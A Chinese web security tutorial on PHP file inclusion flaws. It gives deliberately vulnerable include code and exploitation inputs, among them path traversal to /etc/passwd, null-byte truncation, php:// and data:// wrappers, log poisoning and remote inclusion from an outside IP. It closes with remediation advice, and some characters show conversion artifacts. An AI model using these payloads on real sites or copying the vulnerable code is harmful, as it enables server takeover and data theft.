Web安全之文件包含漏洞
什么是文件包含
程序開(kāi)發(fā)人員一般會(huì)把重復(fù)使用的函數(shù)寫到單個(gè)文件中,需要使用某個(gè)函數(shù)時(shí)直接調(diào)用此文件。而無(wú)需再次編寫,這種 文件調(diào)用的過(guò)程一般被稱為文件包含。
例如:include “conn.php”
PHP中常見(jiàn)包含文件函數(shù)
- include()
當(dāng)使用該函數(shù)包含文件時(shí),只有代碼執(zhí)行到include()函數(shù)時(shí)才將文件包含進(jìn)來(lái),發(fā)生錯(cuò)誤時(shí)之給出一個(gè)警告,繼續(xù)向下執(zhí)行。 - include_once()
功能與Include()相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次 - require()
require()與include()的區(qū)別在于require()執(zhí)行如果發(fā)生錯(cuò)誤,函數(shù)會(huì)輸出錯(cuò)誤信息,并終止腳本的運(yùn)行。 - require_once()
功能與require()相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。
區(qū)別
- inlude :包含的文件不存在,程序會(huì)繼續(xù)執(zhí)行
- require:包含文件不存在,程序停止執(zhí)行
(如果出現(xiàn)語(yǔ)法錯(cuò)誤,兩個(gè)不會(huì)繼續(xù)執(zhí)行,如果是找不到這個(gè)文件,include繼續(xù)執(zhí)行,require,停止執(zhí)行)
文件包含漏洞原理
文件包含漏洞產(chǎn)生的原因是在通過(guò)引入文件時(shí),引用的文件名,用戶可控,由于傳入的文件名沒(méi)有經(jīng)過(guò)合理的校驗(yàn),或者校驗(yàn)被繞過(guò)。
常見(jiàn)漏洞代碼
if(isset($_GET[page])){include $_GET[page]; }else{include "home.php"; }文件包含漏洞危害
- 配合文件上傳漏洞GetShell
- 可以執(zhí)行任意腳本代碼
- 網(wǎng)站源碼文件以及配置文件泄露
- 遠(yuǎn)程包含GetShell
- 控制整個(gè)網(wǎng)站甚至是服務(wù)器
文件包含漏洞的分類
- 當(dāng)被包含的文件在服務(wù)器本地時(shí),就形成的本地文件包含漏洞。
- 本地文件包含和遠(yuǎn)程文件包含造成漏洞的原因是一樣的,當(dāng)php.ini 中的配置選項(xiàng)allow_url_fopen和allow_url_include為ON的話,則包含的文件可以是第三方服務(wù)器中的文件,這樣就形成了遠(yuǎn)程文件包含漏洞。
本地文件包含利用
- 上傳圖片馬,包含圖片馬GetShell
- 讀取網(wǎng)站源碼以及配置文件
- 包含日志文件GetShell
包含上傳圖片_001
<?php if(isset($_GET[page])){include($_GET[page]); }else{include 'show.php'; } ?>包含上傳圖片_002
<?php if(isset($_GET[page])){include('./action/' . $_GET[page]); }else{include ./action/show.php'; } ?>包含上傳圖片_003
<?php if(isset($_GET[page])){include('./action/'. $_GET[page] . '.php'); }else{include './action/show.php'; } ?>%00截?cái)?/strong>
- /etc/passwd%00
- 需要 magic_quotes_gpc=off,PHP小于5.3.4有效
路徑長(zhǎng)度截?cái)?/strong>
- /etc/passwd././././././././././././.[…]/././././././././.
- php版本小于5.2.8可以成功,linux需要文件名長(zhǎng)于4096,windows需要長(zhǎng)于256
讀服務(wù)器本地文件
- ?page=…/…/…/…/…/…/…/etc/passwd
讀網(wǎng)站源碼文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
偽協(xié)議:
- 直接包含木馬文件,可以是圖片,txt,壓縮包…
- ?page=php://input 接收post請(qǐng)求
需要開(kāi)啟 僅需要開(kāi)啟 allow_url_include - ?page=http://172.18.11.66/0831/1.txt
需要開(kāi)啟 allow_url_fopen,allow_url_include (遠(yuǎn)程包含) - ?page=php://filter/read=convert.base64-
encode/resource=main.php (讀取文件源碼) - ?page=data://text/plain,<?php phpinfo();?>
需要開(kāi)啟allow_url_fopen,allow_url_include
包含日志文件GetShell
遠(yuǎn)程文件包含利用
包含遠(yuǎn)程txt文件(php.ini的配置選項(xiàng)allow_url_fopen和allow_url_include為on),遠(yuǎn)程服務(wù)器上存放一個(gè)txt文件,或
者不被解析的php文件。(因?yàn)榘臅r(shí)候返回的是php源代碼,所以不能被解析)
index.php?page=http://www.xxx.com/1.txt
漏洞挖掘
- 沒(méi)有通用的挖掘辦法
- 特定的CMS,特定的版本可能存在漏洞(include,require)
- Web漏洞掃描器掃描,常見(jiàn)的web漏洞掃描器都支持可以檢測(cè)。
修復(fù)辦法
- PHP中使用open_basedir配置限制訪問(wèn)在指定的區(qū)域
- 過(guò)濾.(點(diǎn))/(反斜杠)\(反 斜杠)
- 禁止服務(wù)器遠(yuǎn)程文件包含
(allow_url_fopen,allow_url_include,off)
總結(jié)
以上是生活随笔為你收集整理的Web安全之文件包含漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Web安全之XSS漏洞
- 下一篇: sqlmap绕过过滤的tamper脚本分